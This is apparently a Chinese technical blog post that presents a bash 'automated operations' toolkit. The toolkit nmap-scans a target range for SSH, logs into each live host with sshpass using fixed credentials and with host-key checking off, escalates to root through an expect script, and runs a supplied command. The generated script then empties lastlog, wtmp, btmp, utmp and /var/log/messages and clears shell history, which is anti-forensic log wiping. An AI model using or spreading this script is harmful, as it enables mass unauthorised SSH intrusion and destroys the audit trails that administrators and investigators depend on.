shell脚本之ssh批量登录

自动化运维脚本

前提条件——nmap、expect、sshpass

1.安装nmap扫描工具
eg. https://blog.csdn.net/smli_ng/article/details/105964486
└─# apt-get install -y nmap
2.安装expect自动化交互语言
└─# apt-get install -y expect 
eg. https://www.jianshu.com/p/32de653aa05a
3.安装sshpass非交互式登录工具
└─# apt-get install -y sshpass
eg. sshpass -p 123456 ssh -p 1000 root@远程服务器IP地址

端口探测——scan_hosts

#!/bin/bash
#22 Port Scan

DATE=`date +%F-%R`
read -p "please input tager host: " host
nmap -sS -p 22 -T4 $host  | grep "Nmap scan report for" | awk '{print $5}' >>./host_status/scan_host_$DATE.txt && cp ./host_status/scan_host_$DATE.txt ip.txt
while read host_up
do
	echo "$host_up:22 is_up"
done<./host_status/scan_host_$DATE.txt		#注意文件保存位置

创建目录——hosts_status

1.创建hosts_status目录
└─# mkdir hosts_status  

目标执行——ssh_login_exec

#!/bin/bash
# shell : SSH批量登陆Linux主机并执行命令
#w  	查看当前会后    踢人命令		pkill -kill -t pts/1   
source scan_port.sh	#调用主机探测脚本
echo "--------------------------------------------------------"
DATE=`date +%F-%R`	# -d '-1 minute'  当前时间减一分钟    
username="xxx"	#ssh服务账号
password="xxx"	#ssh服务密码
port="22"		#ssh服务端口
timeout=3		#连接超时时间
#defin
read -p "input your command(command1|command2): " command

#命令执行
cmd="echo -e '#!/usr/bin/expect\nspawn sudo su' > test2.sh && echo -E 'expect \"*的密码:\" {send \"$password\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"$command\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"cat /dev/null > /var/log/lastlog\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"cat /dev/null > /var/log/wtmp\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"cat /dev/null > /var/log/btmp\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"cat /dev/null > /var/run/utmp\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"cat /dev/null > /var/log/messages\r\"}' >> test2.sh && echo -E 'expect \"#\" {send \"history -c\r\"}' >> test2.sh && echo 'expect eof' >> test2.sh && chmod +x test2.sh && ./test2.sh && rm -rf test2.sh"

#ssh批量登录自定义函数
ssh_login_exec(){
    #脚本执行过程提示:
    echo "Automatic operation and maintenance script"		#自动化运维脚本
    echo "Task execution time: $DATE"				#任务执行时间
    echo "--------------------------------------------------------"
    echo "Remote command execution:"				#远程命令执行
    echo "username: $username  password: $password  port: $port  timeout=$timeout"  #打印ssh连接参数
    echo "command: $cmd"							    #打印命令
    echo "--------------------------------------------------------"
 
#ssh批量登录的主机(host)从ip.txt文件中进行登录
    for host in `cat ip.txt`;
    do
        result=`sshpass -p "$password" ssh -p $port -o StrictHostKeyChecking=no -o ConnectTimeout=$timeout $username@$host $cmd`
	if
		[ $? -eq 0 ]
	then
		#自动化运维脚本执行成功
    		echo "$host:Target host connected successfully"			#目标主机连接成功
    		echo "--------------------------------------------------------"
	else
		#自动化运维脚本执行失败						#目标主机连接失败
		echo "$host:Destination host connection failed"			
    		echo "--------------------------------------------------------"
	fi
        echo $host >> result_host.txt		#已连接的主机结果
        echo $result >> result_command.txt	#已成功执行命令结果
    done
    echo "Successful execution of automatic operation and maintenance script"
}
 
ssh_login_exec		#调用ssh_login_exec函数
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值